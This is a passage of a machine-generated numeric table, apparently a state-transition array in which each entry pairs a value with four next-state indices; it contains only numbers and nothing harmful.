{0,{785,817,808,813}}, {0,{818,818,818,826}}, {0,{819,819,819,810}}, {0,{820,820,820,788}}, {0,{821,821,821,0}}, {0,{822,790,790,790}}, {0,{823,823,823,823}}, {0,{824,154,825,0}}, {56,{155,0,0,0}}, {57,{155,0,0,0}}, {0,{827,819,819,810}}, {0,{828,820,820,788}}, {0,{829,829,829,0}}, {0,{830,790,790,790}}, {0,{831,831,831,831}}, {0,{832,747,833,723}}, {59,{748,724,724,724}}, {60,{748,724,724,724}}, {0,{785,835,808,813}}, {0,{836,836,836,844}}, {0,{837,837,837,810}}, {0,{838,838,838,788}}, {0,{839,839,839,0}}, {0,{840,790,790,790}}, {0,{841,841,841,841}}, {0,{842,242,843,0}}, {62,{243,0,0,0}}, {63,{243,0,0,0}}, {0,{845,837,837,810}}, {0,{846,838,838,788}}, {0,{847,847,847,0}}, {0,{848,790,790,790}}, {0,{849,849,849,849}}, {0,{850,766,851,723}}, {65,{767,724,724,724}}, {66,{767,724,724,724}}, {0,{460,853,460,460}}, {0,{854,0,461,0}}, {0,{855,855,855,855}}, {0,{856,856,856,856}}, {0,{813,813,813,813}}, {0,{639,858,639,639}}, {0,{859,623,636,623}}, {0,{860,855,875,855}}, {0,{861,856,856,856}}, {0,{862,813,813,813}}, {0,{863,863,863,863}}, {0,{864,864,864,864}}, {0,{865,865,865,865}}, {0,{866,866,866,550}}, {0,{867,871,790,790}}, {0,{868,868,868,868}}, {0,{869,500,870,500}}, {68,{501,501,501,501}}, {69,{501,501,501,501}}, {0,{872,872,872,872}}, {0,{873,538,874,538}}, {71,{539,539,539,539}}, {72,{539,539,539,539}}, {0,{876,856,856,856}}, {0,{877,813,813,813}}, {0,{878,878,878,878}}, {0,{879,879,879,879}}, {0,{880,880,880,880}}, {0,{881,881,881,621}}, {0,{882,871,790,790}}, {0,{883,883,883,883}}, {0,{884,609,885,609}}, {74,{610,610,610,610}}, {75,{610,610,610,610}}, {0,{887,706,908,706}}, {0,{888,906,907,906}}, {0,{889,899,899,428}}, {0,{890,429,433,429}}, {0,{891,894,891,891}}, {0,{892,554,892,554}}, {0,{893,553,553,553}}, {0,{96,96,96,96}}, {0,{895,554,897,554}}, {0,{893,896,553,553}}, {0,{193,193,193,193}}, {0,{893,898,553,553}}, {0,{281,281,281,281}}, {0,{900,429,433,429}}, {0,{430,901,430,430}}, {0,{902,0,904,0}}, {0,{432,903,0,0}}, {0,{330,330,330,330}}, {0,{432,905,0,0}}, {0,{341,341,341,341}}, {0,{701,460,460,460}}, {0,{465,639,639,639}}, {0,{909,852,857,852}}, {0,{899,910,899,428}}, {0,{911,429,433,429}}, {0,{912,915,912,912}}, {0,{913,856,913,856}}, {0,{914,813,813,813}}, {0,{786,786,786,786}}, {0,{916,856,918,856}}, {0,{914,917,813,813}}, {0,{818,818,818,818}}, {0,{914,919,813,813}}, {0,{836,836,836,836}}, {0,{921,706,908,706}}, {0,{888,906,922,906}}, {0,{923,639,1069,639}}, {0,{924,1038,1064,1038}}, {0,{925,1007,1008,1007}}, {0,{926,1006,1006,1006}}, {0,{927,1001,1001,1001}}, {0,{470,470,470,928}}, {0,{929,471,471,471}}, {0,{930,472,930,472}}, {0,{931,550,550,550}}, {0,{932,969,992,992}}, {0,{933,968,968,968}}, {0,{934,951,951,951}}, {0,{935,935,935,935}}, {0,{936,936,936,936}}, {0,{937,950,937,950}}, {0,{938,944,944,944}}, {0,{939,939,939,939}}, {0,{482,482,482,940}}, {0,{483,483,483,941}}, {0,{484,484,484,942}}, {0,{943,485,485,485}}, {76,{486,486,486,486}}, {0,{945,945,945,945}}, {0,{27,27,27,946}}, {0,{28,28,28,947}}, {0,{29,29,29,948}}, {0,{949,30,30,30}}, {77,{31,31,31,31}}, {0,{944,944,944,944}}, {0,{952,952,952,952}}, {0,{953,953,953,953}}, {0,{954,967,954,967}}, {0,{955,961,961,961}}, {0,{956,956,956,956}}, {0,{506,506,506,957}}, {0,{507,507,507,958}}, {0,{508,508,508,959}}, {0,{960,509,509,509}}, {78,{510,510,510,510}}, {0,{962,962,962,962}}, {0,{0,0,0,963}}, {0,{0,0,0,964}}, {0,{0,0,0,965}}, {0,{966,0,0,0}}, {79,{0,0,0,0}}, {0,{961,961,961,961}}, {0,{951,951,951,951}}, {0,{970,991,991,991}}, {0,{971,981,981,981}}, {0,{972,972,972,972}}, {0,{973,973,973,973}}, {0,{974,950,974,950}}, {0,{975,944,944,944}}, {0,{976,976,976,976}}, {0,{520,520,520,977}}, {0,{521,521,521,978}}, {0,{522,522,522,979}}, {0,{980,523,523,523}}, {80,{524,524,524,524}}, {0,{982,982,982,982}}, {0,{983,983,983,983}}, {0,{984,967,984,967}}, {0,{985,961,961,961}}, {0,{986,986,986,986}}, {0,{544,544,544,987}}, {0,{545,545,545,988}}, {0,{546,546,546,989}}, {0,{990,547,547,547}}, {81,{548,548,548,548}}, {0,{981,981,981,981}}, {0,{993,1000,1000,1000}}, {0,{994,997,997,997}}, {0,{995,995,995,995}}, {0,{996,996,996,996}}, {0,{950,950,950,950}}, {0,{998,998,998,998}}, {0,{999,999,999,999}}, {0,{967,967,967,967}}, {0,{997,997,997,997}}, {0,{117,117,117,1002}}, {0,{1003,116,116,116}}, {0,{1004,94,1004,94}}, {0,{1005,0,0,0}}, {0,{992,992,992,992}}, {0,{1001,1001,1001,1001}}, {0,{1006,1006,1006,1006}}, {0,{1009,1006,1006,1006}}, {0,{1010,1001,1001,1001}}, {0,{559,559,559,1011}}, {0,{1012,560,560,560}}, {0,{1013,561,1013,561}}, {0,{1014,621,621,621}}, {0,{1015,969,992,992}}, {0,{1016,1037,1037,1037}}, {0,{1017,1027,1027,1027}}, {0,{1018,1018,1018,1018}}, {0,{1019,1019,1019,1019}}, {0,{1020,950,1020,950}}, {0,{1021,944,944,944}}, {0,{1022,939,939,939}}, {0,{571,571,571,1023}}, {0,{572,572,572,1024}}, {0,{573,573,573,1025}}, {0,{1026,574,574,574}}, {82,{575,575,575,575}}, {0,{1028,1028,1028,1028}}, {0,{1029,1029,1029,1029}}, {0,{1030,967,1030,967}}, {0,{1031,961,961,961}}, {0,{1032,956,956,956}}, {0,{615,615,615,1033}}, {0,{616,616,616,1034}}, {0,{617,617,617,1035}}, {0,{1036,618,618,618}}, {83,{619,619,619,619}}, {0,{1027,1027,1027,1027}}, {0,{1039,1055,1056,1055}}, {0,{1040,1054,1054,1054}}, {0,{1041,1049,1049,1049}}, {0,{627,627,627,1042}}, {0,{1043,628,628,628}}, {0,{1044,629,1044,629}}, {0,{1045,550,550,550}}, {0,{1046,1047,1048,1048}}, {0,{968,968,968,968}}, {0,{991,991,991,991}}, {0,{1000,1000,1000,1000}}, {0,{0,0,0,1050}}, {0,{1051,0,0,0}}, {0,{1052,0,1052,0}}, {0,{1053,0,0,0}}, {0,{1048,1048,1048,1048}}, {0,{1049,1049,1049,1049}}, {0,{1054,1054,1054,1054}}, {0,{1057,1054,1054,1054}}, {0,{1058,1049,1049,1049}}, {0,{633,633,633,1059}}, {0,{1060,634,634,634}}, {0,{1061,635,1061,635}}, {0,{1062,621,621,621}}, {0,{1063,1047,1048,1048}}, {0,{1037,1037,1037,1037}}, {0,{1065,1067,1068,1067}}, {0,{1040,1054,1066,1054}}, {84,{1049,1049,1049,1049}}, {0,{1054,1054,1066,1054}}, {0,{1057,1054,1066,1054}}, {0,{1038,1038,1064,1038}}, {0,{1071,1112,1113,1112}}, {0,{1072,1072,1086,1072}}, {0,{1073,460,460,460}}, {0,{702,0,1074,0}}, {0,{1075,1075,1075,1075}}, {0,{1076,1076,1085,1076}}, {0,{1077,1077,1077,1077}}, {0,{0,0,0,1078}}, {0,{0,0,0,1079}}, {0,{0,0,0,1080}}, {0,{1081,0,0,0}}, {0,{1082,1082,1082,1082}}, {0,{1083,1083,1083,1083}}, {0,{0,0,1084,0}}, {85,{0,0,0,0}}, {86,{1077,1077,1077,1077}}, {0,{1087,639,639,639}}, {0,{466,623,1088,623}}, {0,{1089,1075,1102,1075}}, {0,{1090,1076,1085,1076}}, {0,{1091,1077,1077,1077}}, {0,{627,627,627,1092}}, {0,{628,628,628,1093}}, {0,{629,629,629,1094}}, {0,{1095,550,550,550}}, {0,{1096,1099,1082,1082}}, {0,{1097,1097,1097,1097}}, {0,{500,500,1098,500}}, {87,{501,501,501,501}}, {0,{1100,1100,1100,1100}}, {0,{538,538,1101,538}}, {88,{539,539,539,539}}, {0,{1103,1076,1085,1076}}, {0,{1104,1077,1077,1077}}, {0,{633,633,633,1105}}, {0,{634,634,634,1106}}, {0,{635,635,635,1107}}, {0,{1108,621,621,621}}, {0,{1109,1099,1082,1082}}, {0,{1110,1110,1110,1110}}, {0,{609,609,1111,609}}, {89,{610,610,610,610}}, {0,{708,708,709,708}}, {0,{1114,852,857,852}}, {0,{1115,1128,1115,1115}}, {0,{1116,1116,1125,1116}}, {0,{1117,1117,1117,1117}}, {0,{1118,1118,1118,1118}}, {0,{0,0,1119,0}}, {0,{0,0,0,1120}}, {0,{0,0,0,1121}}, {0,{0,0,0,1122}}, {0,{1123,1123,1123,1123}}, {0,{1124,1124,0,0}}, {91,{0,0,0,0}}, {0,{1126,1126,1126,1126}}, {0,{1118,1118,1127,1118}}, {92,{0,0,1119,0}}, {0,{1129,1116,1125,1116}}, {0,{1130,1130,1130,1130}}, {0,{1131,1131,1131,1131}}, {0,{813,813,1132,813}}, {0,{809,809,809,1133}}, {0,{810,810,810,1134}}, {0,{788,788,788,1135}}, {0,{1136,1136,1136,1123}}, {0,{1137,1137,790,790}}, {94,{791,791,791,791}}, {0,{1139,1205,1208,1216}}, {0,{1140,1193,1194,1193}}, {0,{1141,436,700,700}}, {0,{1142,1184,1185,460}}, {0,{1143,1172,1181,1172}}, {0,{1144,1144,1144,1144}}, {0,{1145,1145,1145,1145}}, {0,{1146,1146,1146,1146}}, {0,{1147,117,117,118}}, {0,{1148,116,116,116}}, {0,{17,17,1149,94}}, {0,{1150,0,0,0}}, {0,{1151,1151,1151,1151}}, {0,{1152,1171,1171,1171}}, {0,{1153,1162,1162,1162}}, {0,{1154,1154,1154,1154}}, {0,{1155,1155,1155,1155}}, {0,{1156,1156,1156,1156}}, {0,{1157,1157,1157,1157}}, {0,{1158,1158,1158,1158}}, {0,{27,27,27,1159}}, {0,{1160,28,28,28}}, {0,{1161,29,29,29}}, {95,{30,30,30,30}}, {0,{1163,1163,1163,1163}}, {0,{1164,1164,1164,1164}}, {0,{1165,1165,1165,1165}}, {0,{1166,1166,1166,1166}}, {0,{1167,1167,1167,1167}}, {0,{0,0,0,1168}}, {0,{1169,0,0,0}}, {0,{1170,0,0,0}}, {96,{0,0,0,0}}, {0,{1162,1162,1162,1162}}, {0,{1173,1173,1173,1173}}, {0,{1174,1174,1174,1174}}, {0,{1175,1175,1175,1175}}, {0,{1176,0,0,314}}, {0,{1177,0,0,0}}, {0,{304,304,1178,0}}, {0,{1179,0,0,0}}, {0,{1180,1180,1180,1180}}, {0,{1171,1171,1171,1171}}, {0,{1182,1182,1182,1182}}, {0,{1174,1174,1183,1174}}, {97,{1175,1175,1175,1175}}, {0,{1172,1172,1181,1172}}, {0,{1186,1186,1190,1186}}, {0,{1187,1187,1187,1187}}, {0,{1188,1188,1188,1188}}, {0,{1189,1189,1189,1189}}, {0,{1176,0,0,382}}, {0,{1191,1191,1191,1191}}, {0,{1188,1188,1192,1188}}, {98,{1189,1189,1189,1189}}, {0,{708,708,708,708}}, {0,{1195,852,852,852}}, {0,{1196,1202,1196,460}}, {0,{1197,1197,1199,1197}}, {0,{1198,1198,1198,1198}}, {0,{737,737,737,737}}, {0,{1200,1200,1200,1200}}, {0,{737,737,1201,737}}, {99,{734,734,734,0}}, {0,{1203,1197,1199,1197}}, {0,{1204,1204,1204,1204}}, {0,{814,814,814,814}}, {0,{1206,1193,1207,1193}}, {0,{906,906,906,906}}, {0,{852,852,852,852}}, {0,{1209,1193,1207,1193}}, {0,{906,906,1210,906}}, {0,{1211,460,1215,460}}, {0,{1212,1213,1214,1213}}, {0,{1007,1007,1007,1007}}, {0,{1055,1055,1055,1055}}, {0,{1067,1067,1067,1067}}, {0,{1213,1213,1214,1213}}, {0,{1217,1193,1207,1193}}, {0,{1072,1072,1072,1072}}, {0,{1219,1205,1208,1237}}, {0,{1220,1193,1194,1193}}, {0,{1221,436,700,700}}, {0,{1222,1230,1231,460}}, {0,{1223,1225,1227,1225}}, {0,{1224,1224,1224,1224}}, {0,{120,120,120,120}}, {0,{1226,1226,1226,1226}}, {0,{316,316,316,316}}, {0,{1228,1228,1228,1228}}, {0,{316,316,1229,316}}, {100,{311,311,311,311}}, {0,{1225,1225,1227,1225}}, {0,{1232,1232,1234,1232}}, {0,{1233,1233,1233,1233}}, {0,{384,384,384,384}}, {0,{1235,1235,1235,1235}}, {0,{384,384,1236,384}}, {101,{381,381,381,381}}, {0,{1238,1193,1278,1193}}, {0,{1239,1072,1265,1072}}, {0,{1240,460,1253,460}}, {0,{1241,0,1074,0}}, {0,{1242,1242,1242,1242}}, {0,{554,554,1243,554}}, {0,{1244,1244,1244,1244}}, {0,{117,117,117,1245}}, {0,{116,116,116,1246}}, {0,{94,94,94,1247}}, {0,{1248,0,0,0}}, {0,{1249,1249,1249,1249}}, {0,{1250,1252,1252,1252}}, {0,{21,1251,0,0}}, {102,{0,0,0,0}}, {0,{0,1251,0,0}}, {0,{1254,1254,1262,1254}}, {0,{1255,1255,1255,1255}}, {0,{1256,1256,1256,1256}}, {0,{1257,1257,1257,1257}}, {0,{0,0,0,1258}}, {0,{0,0,0,1259}}, {0,{0,0,0,1260}}, {0,{1261,0,0,0}}, {103,{0,0,0,0}}, {0,{1263,1263,1263,1263}}, {0,{1256,1256,1264,1256}}, {104,{1257,1257,1257,1257}}, {0,{1073,460,1266,460}}, {0,{1267,1267,1275,1267}}, {0,{1268,1268,1268,1268}}, {0,{1269,1269,1269,1269}}, {0,{1270,1270,1270,1270}}, {0,{0,0,0,1271}}, {0,{0,0,0,1272}}, {0,{0,0,0,1273}}, {0,{1274,0,0,0}}, {105,{0,0,0,0}}, {0,{1276,1276,1276,1276}}, {0,{1269,1269,1277,1269}}, {106,{1270,1270,1270,1270}}, {0,{1114,852,852,852}}, {0,{1280,1310,1310,1313}}, {0,{1281,0,1307,0}}, {0,{1282,1282,1282,1285}}, {0,{1283,0,1284,0}}, {0,{702,0,0,0}}, {0,{704,704,704,704}}, {0,{1283,0,1286,0}}, {0,{704,704,1287,704}}, {0,{1288,1288,1288,1288}}, {0,{674,674,674,1289}}, {0,{673,673,673,1290}}, {0,{0,0,0,1291}}, {0,{1292,0,0,0}}, {0,{366,366,366,1293}}, {0,{353,0,1294,0}}, {0,{0,0,0,1295}}, {0,{1296,1296,1296,1296}}, {0,{0,1297,0,0}}, {0,{1298,1298,1298,1298}}, {0,{1299,1299,1299,1299}}, {0,{0,0,0,1300}}, {0,{0,0,0,1301}}, {0,{0,0,0,1302}}, {0,{0,0,0,1303}}, {0,{0,0,0,1304}}, {0,{0,0,0,1305}}, {0,{1306,0,0,0}}, {107,{0,0,0,0}}, {0,{1308,1308,1308,1308}}, {0,{0,1309,0,0}}, {0,{854,0,0,0}}, {0,{1311,0,1307,0}}, {0,{1312,1312,1312,1312}}, {0,{1283,0,0,0}}, {0,{1314,0,1307,0}}, {0,{1315,1315,1315,1315}}, {0,{1316,0,0,0}}, {0,{702,0,1317,0}}, {0,{1318,1318,1318,1318}}, {0,{1076,1076,1076,1076}}, {0,{1320,1352,1366,1379}}, {0,{1321,1338,1343,1348}}, {0,{1322,1333,1335,1333}}, {0,{1323,1329,1282,1282}}, {0,{1324,1326,1327,1328}}, {0,{1325,298,298,298}}, {0,{12,12,12,12}}, {0,{298,298,298,298}}, {0,{424,424,424,424}}, {0,{429,429,429,429}}, {0,{1330,1331,1332,0}}, {0,{438,442,442,442}}, {0,{442,442,442,442}}, {0,{451,451,451,451}}, {0,{1334,0,0,0}}, {0,{1328,1328,1328,1328}}, {0,{1336,0,0,0}}, {0,{1337,1337,1337,1328}}, {0,{777,777,777,777}}, {0,{1339,1333,1333,1333}}, {0,{1340,1312,1312,1312}}, {0,{1341,1328,1328,1328}}, {0,{1342,429,429,429}}, {0,{891,891,891,891}}, {0,{1344,1333,1333,1333}}, {0,{1340,1312,1345,1312}}, {0,{1346,0,1347,0}}, {0,{1212,1213,1213,1213}}, {0,{1213,1213,1213,1213}}, {0,{1314,0,1349,0}}, {0,{1350,0,0,0}}, {0,{1351,1351,1351,1351}}, {0,{1116,1116,1116,1116}}, {0,{1353,1362,1363,1365}}, {0,{1354,0,1359,0}}, {0,{1355,1329,1282,1282}}, {0,{1356,1357,1358,0}}, {0,{1143,1172,1172,1172}}, {0,{1172,1172,1172,1172}}, {0,{1186,1186,1186,1186}}, {0,{1360,0,0,0}}, {0,{1361,1361,1361,0}}, {0,{1197,1197,1197,1197}}, {0,{1311,0,0,0}}, {0,{1364,0,0,0}}, {0,{1312,1312,1345,1312}}, {0,{1314,0,0,0}}, {0,{1367,1362,1363,1373}}, {0,{1368,0,1359,0}}, {0,{1369,1329,1282,1282}}, {0,{1370,1371,1372,0}}, {0,{1223,1225,1225,1225}}, {0,{1225,1225,1225,1225}}, {0,{1232,1232,1232,1232}}, {0,{1374,0,1349,0}}, {0,{1375,1315,1377,1315}}, {0,{1316,0,1376,0}}, {0,{1254,1254,1254,1254}}, {0,{1316,0,1378,0}}, {0,{1267,1267,1267,1267}}, {0,{1380,1362,1362,1365}}, {0,{1381,0,0,0}}, {0,{1282,1282,1282,1282}}, {0,{1383,1352,1396,1379}}, {0,{1321,1338,1343,1384}}, {0,{1385,0,1349,0}}, {0,{1386,1315,1315,1315}}, {0,{1316,0,1387,0}}, {0,{0,0,1388,0}}, {0,{1389,1389,1389,1389}}, {0,{1390,0,1390,0}}, {0,{0,0,0,1391}}, {0,{0,0,0,1392}}, {0,{0,0,0,1393}}, {0,{0,0,0,1394}}, {0,{1395,0,0,0}}, {108,{0,0,0,0}}, {0,{1397,1413,1417,1419}}, {0,{1398,0,1359,0}}, {0,{1399,1329,1282,1282}}, {0,{1400,1404,1405,1409}}, {0,{1223,1401,1225,1225}}, {0,{1402,1402,1402,1402}}, {0,{316,1403,316,316}}, {109,{311,311,311,311}}, {0,{1225,1401,1225,1225}}, {0,{1232,1406,1232,1232}}, {0,{1407,1407,1407,1407}}, {0,{384,1408,384,384}}, {110,{381,381,381,381}}, {0,{0,1410,0,0}}, {0,{1411,1411,1411,1411}}, {0,{0,1412,0,0}}, {111,{0,0,0,0}}, {0,{1414,0,0,0}}, {0,{1415,1312,1312,1312}}, {0,{1416,1409,1409,1409}}, {0,{702,1410,0,0}}, {0,{1418,0,0,0}}, {0,{1415,1312,1345,1312}}, {0,{1420,0,1349,0}}, {0,{1421,1435,1377,1315}}, {0,{1422,1409,1423,1409}}, {0,{702,1410,1317,0}}, {0,{1254,1424,1427,1254}}, {0,{1425,1425,1425,1425}}, {0,{1256,1426,1256,1256}}, {112,{1257,1257,1257,1257}}, {0,{1428,1428,1428,1428}}, {0,{1429,1256,1256,1256}}, {0,{1257,1257,1257,1430}}, {0,{0,0,0,1431}}, {0,{0,0,0,1432}}, {0,{0,0,0,1433}}, {0,{1434,0,0,0}}, {114,{0,0,0,0}}, {0,{1436,0,0,0}}, {0,{1437,0,1317,0}}, {0,{1438,1438,1438,1438}}, {0,{554,554,1439,554}}, {0,{553,1440,553,553}}, {0,{117,117,117,1441}}, {0,{116,116,116,1442}}, {0,{94,94,94,1443}}, {0,{1444,0,0,0}}, {0,{1445,19,19,19}}, {0,{1446,1452,1452,1452}}, {0,{21,0,1447,0}}, {0,{1448,1448,1448,1448}}, {0,{1449,1449,1449,1449}}, {0,{1450,1450,1450,1450}}, {0,{1451,0,0,0}}, {115,{0,0,0,0}}, {0,{0,0,1447,0}}, {0,{1454,1464,1468,1473}}, {0,{1455,0,1460,1463}}, {0,{1456,0,1359,0}}, {0,{1457,1458,1459,1459}}, {0,{1371,1371,1372,0}}, {0,{1331,1331,1332,0}}, {0,{0,0,1284,0}}, {0,{1461,0,0,0}}, {0,{0,0,1462,0}}, {0,{1347,0,1347,0}}, {0,{0,0,1349,0}}, {0,{1465,0,1460,0}}, {0,{1466,0,1359,0}}, {0,{1467,1458,1459,1459}}, {0,{1357,1357,1358,0}}, {0,{1455,0,1460,1469}}, {0,{1470,0,1349,0}}, {0,{1471,0,1472,0}}, {0,{0,0,1376,0}}, {0,{0,0,1378,0}}, {0,{1474,0,0,0}}, {0,{1475,0,0,0}}, {0,{1459,1459,1459,1459}}, {0,{1477,1651,1651,1665}}, {0,{1478,1620,1631,0}}, {0,{1479,1616,1616,1617}}, {0,{1480,706,1613,706}}, {0,{1481,1483,1484,708}}, {0,{1482,1482,1482,428}}, {0,{298,298,317,298}}, {0,{449,449,449,460}}, {0,{1485,1485,1485,639}}, {0,{1486,1486,1608,1486}}, {0,{1487,1572,1573,1572}}, {0,{1488,1571,1571,1571}}, {0,{1489,1566,1566,1566}}, {0,{1490,627,627,627}}, {0,{1491,628,628,628}}, {0,{1492,629,629,629}}, {0,{1493,1493,1493,550}}, {0,{1494,1539,1561,1561}}, {0,{1495,1495,1495,1495}}, {0,{1496,1496,1496,1496}}, {0,{1497,1497,1497,1497}}, {0,{1498,1498,1498,1498}}, {0,{1499,1538,1499,1538}}, {0,{1500,1523,1523,1523}}, {0,{1501,1501,1501,1501}}, {0,{506,506,506,1502}}, {0,{1503,507,507,507}}, {0,{1504,508,508,508}}, {0,{1505,509,509,509}}, {0,{1506,1506,1506,1506}}, {0,{1507,1507,1507,1507}}, {0,{1508,1508,1508,1508}}, {0,{1509,1509,1509,1509}}, {0,{1510,1510,1510,1510}}, {0,{1511,1511,1511,1511}}, {0,{1512,1512,1512,1512}}, {0,{1513,1513,1513,1513}}, {0,{1514,1514,1514,1514}}, {0,{1515,1522,1515,1522}}, {116,{1516,1516,1516,1516}}, {0,{1517,1517,1517,1517}}, {0,{0,0,0,1518}}, {0,{0,0,0,1519}}, {0,{0,0,0,1520}}, {0,{1521,0,0,0}}, {117,{0,0,0,0}}, {0,{1516,1516,1516,1516}}, {0,{1524,1524,1524,1524}}, {0,{0,0,0,1525}}, {0,{1526,0,0,0}}, {0,{1527,0,0,0}}, {0,{1528,0,0,0}}, {0,{1529,1529,1529,1529}}, {0,{1530,1530,1530,1530}}, {0,{1531,1531,1531,1531}}, {0,{1532,1532,1532,1532}}, {0,{1533,1533,1533,1533}}, {0,{1534,1534,1534,1534}}, {0,{1535,1535,1535,1535}}, {0,{1536,1536,1536,1536}}, {0,{1537,1537,1537,1537}}, {0,{1522,1522,1522,1522}}, {0,{1523,1523,1523,1523}}, {0,{1540,1540,1540,1540}}, {0,{1541,1541,1541,1541}}, {0,{1542,1542,1542,1542}}, {0,{1543,1543,1543,1543}}, {0,{1544,1538,1544,1538}}, {0,{1545,1523,1523,1523}}, {0,{1546,1546,1546,1546}}, {0,{544,544,544,1547}}, {0,{1548,545,545,545}}, {0,{1549,546,546,546}}, {0,{1550,547,547,547}}, {0,{1551,1551,1551,1551}}, {0,{1552,1552,1552,1552}}, {0,{1553,1553,1553,1553}}, {0,{1554,1554,1554,1554}}, {0,{1555,1555,1555,1555}}, {0,{1556,1556,1556,1556}}, {0,{1557,1557,1557,1557}}, {0,{1558,1558,1558,1558}}, {0,{1559,1559,1559,1559}}, {0,{1560,1522,1560,1522}}, {118,{1516,1516,1516,1516}}, {0,{1562,1562,1562,1562}}, {0,{1563,1563,1563,1563}}, {0,{1564,1564,1564,1564}}, {0,{1565,1565,1565,1565}}, {0,{1538,1538,1538,1538}}, {0,{1567,0,0,0}}, {0,{1568,0,0,0}}, {0,{1569,0,0,0}}, {0,{1570,1570,1570,0}}, {0,{1561,1561,1561,1561}}, {0,{1566,1566,1566,1566}}, {0,{1571,1571,1571,1571}}, {0,{1574,1571,1571,1571}}, {0,{1575,1566,1566,1566}}, {0,{1576,633,633,633}}, {0,{1577,634,634,634}}, {0,{1578,635,635,635}}, {0,{1579,1579,1579,621}}, {0,{1580,1539,1561,1561}}, {0,{1581,1581,1581,1581}}, {0,{1582,1582,1582,1582}}, {0,{1583,1583,1583,1583}}, {0,{1584,1584,1584,1584}}, {0,{1585,1538,1585,1538}}, {0,{1586,1523,1523,1523}}, {0,{1587,1501,1501,1501}}, {0,{615,615,615,1588}}, {0,{1589,616,616,616}}, {0,{1590,617,617,617}}, {0,{1591,618,618,618}}, {0,{1592,1592,1592,1592}}, {0,{1593,1593,1593,1593}}, {0,{1594,1508,1508,1508}}, {0,{1595,1595,1595,1595}}, {0,{1596,1596,1596,1596}}, {0,{1597,1597,1597,1597}}, {0,{1598,1598,1598,1598}}, {0,{1599,1599,1599,1599}}, {0,{1600,1600,1600,1600}}, {0,{1601,1522,1515,1522}}, {119,{1602,1516,1516,1516}}, {0,{1517,1517,1517,1603}}, {0,{587,587,587,1604}}, {0,{588,588,588,1605}}, {0,{589,589,589,1606}}, {0,{1607,590,590,590}}, {120,{591,591,591,591}}, {0,{1609,1611,1612,1611}}, {0,{1488,1571,1610,1571}}, {121,{1566,1566,1566,1566}}, {0,{1571,1571,1610,1571}}, {0,{1574,1571,1610,1571}}, {0,{1614,708,709,708}}, {0,{1615,1615,1615,428}}, {0,{777,777,778,777}}, {0,{706,706,706,706}}, {0,{1112,1112,1618,1112}}, {0,{1619,708,709,708}}, {0,{1115,1115,1115,1115}}, {0,{1621,1630,1630,1630}}, {0,{1622,1193,1628,1193}}, {0,{1623,1483,1624,708}}, {0,{1230,1230,1230,460}}, {0,{1625,1625,1625,460}}, {0,{1626,1626,1627,1626}}, {0,{1572,1572,1572,1572}}, {0,{1611,1611,1611,1611}}, {0,{1629,708,708,708}}, {0,{1196,1196,1196,460}}, {0,{1193,1193,1193,1193}}, {0,{1621,1630,1630,1632}}, {0,{1633,1193,1650,1193}}, {0,{1634,708,708,708}}, {0,{460,460,1635,460}}, {0,{1636,0,461,0}}, {0,{0,0,1637,0}}, {0,{1638,0,0,0}}, {0,{0,0,0,1639}}, {0,{0,0,0,1640}}, {0,{0,0,0,1641}}, {0,{0,0,0,1642}}, {0,{0,0,1643,0}}, {0,{0,0,0,1644}}, {0,{1645,1645,1645,1645}}, {0,{0,0,1646,0}}, {0,{0,0,1647,0}}, {0,{1648,1648,1648,1648}}, {0,{0,0,1649,0}}, {122,{0,0,0,0}}, {0,{1619,708,708,708}}, {0,{1652,1660,1664,0}}, {0,{1653,1659,1659,1463}}, {0,{1654,1333,1335,1333}}, {0,{1655,1656,1657,0}}, {0,{1326,1326,1326,1328}}, {0,{1331,1331,1331,0}}, {0,{1658,1658,1658,0}}, {0,{1626,1626,1626,1626}}, {0,{1333,1333,1333,1333}}, {0,{1661,0,0,0}}, {0,{1662,0,1359,0}}, {0,{1663,1656,1657,0}}, {0,{1371,1371,1371,0}}, {0,{1661,0,0,1463}}, {0,{1664,1660,1664,0}}, {0,{1667,2102,2140,2217}}, {0,{1668,1992,2085,0}}, {0,{1669,1913,1913,1915}}, {0,{1670,1904,1907,1904}}, {124,{1671,1822,1827,1822}}, {0,{1672,1729,1730,1818}}, {0,{1673,1722,1725,1728}}, {0,{1674,1721,1721,1721}}, {0,{1675,1716,1717,1716}}, {0,{1676,1712,1712,1712}}, {0,{307,307,307,1677}}, {0,{1678,306,306,306}}, {0,{1679,0,305,0}}, {0,{1680,0,1699,0}}, {0,{1681,0,0,0}}, {0,{1682,1682,1682,1682}}, {0,{1683,0,1683,0}}, {0,{0,0,1684,0}}, {0,{1685,1685,1685,1685}}, {0,{1686,0,0,0}}, {0,{1687,1687,1687,0}}, {0,{1688,1688,1688,1688}}, {0,{0,0,0,1689}}, {0,{0,0,0,1690}}, {0,{0,0,0,1691}}, {0,{1692,0,0,0}}, {0,{1693,0,0,0}}, {0,{1694,1694,1694,1694}}, {0,{1695,1695,1695,1695}}, {0,{1696,1696,1696,1696}}, {0,{1697,1697,1697,1697}}, {0,{1698,0,0,0}}, {125,{0,0,0,0}}, {0,{1700,1700,1700,1700}}, {0,{1701,1701,1701,1701}}, {0,{1702,1702,1702,1702}}, {0,{1703,1703,1703,1703}}, {0,{1704,1704,1704,1704}}, {0,{1705,1705,1705,1705}}, {0,{1706,1706,1706,1706}}, {0,{1707,1707,1707,1707}}, {0,{0,0,0,1708}}, {0,{0,0,0,1709}}, {0,{0,0,0,1710}}, {0,{1711,0,1711,0}}, {127,{0,0,0,0}}, {0,{0,0,0,1713}}, {0,{1714,0,0,0}}, {0,{1715,0,0,0}}, {0,{0,0,1699,0}}, {0,{1712,1712,1712,1712}}, {0,{1718,1712,1712,1712}}, {0,{307,307,307,1719}}, {0,{1720,306,306,306}}, {0,{1715,0,305,0}}, {0,{1717,1716,1717,1716}}, {0,{1723,1723,1723,1723}}, {0,{1717,1716,1724,1716}}, {128,{1718,1712,1712,1712}}, {0,{1726,1726,1726,1726}}, {0,{1717,1716,1727,1716}}, {129,{1718,1712,1712,1712}}, {0,{1721,1721,1721,1721}}, {0,{1728,1722,1725,1728}}, {0,{1731,1755,1815,1731}}, {0,{1732,1732,1732,1732}}, {0,{1733,1754,1733,1754}}, {0,{1734,1751,1751,1751}}, {0,{307,307,307,1735}}, {0,{1736,306,306,306}}, {0,{1737,0,305,0}}, {0,{1738,0,1699,0}}, {0,{1739,1739,1739,1739}}, {0,{1740,1740,1740,1740}}, {0,{1741,1741,1741,1741}}, {0,{1742,1742,1742,1742}}, {0,{1743,1743,1743,1743}}, {0,{1744,1744,1744,1744}}, {0,{1745,1745,1745,1745}}, {0,{1746,1746,1746,1746}}, {0,{0,0,0,1747}}, {0,{0,0,0,1748}}, {0,{0,0,0,1749}}, 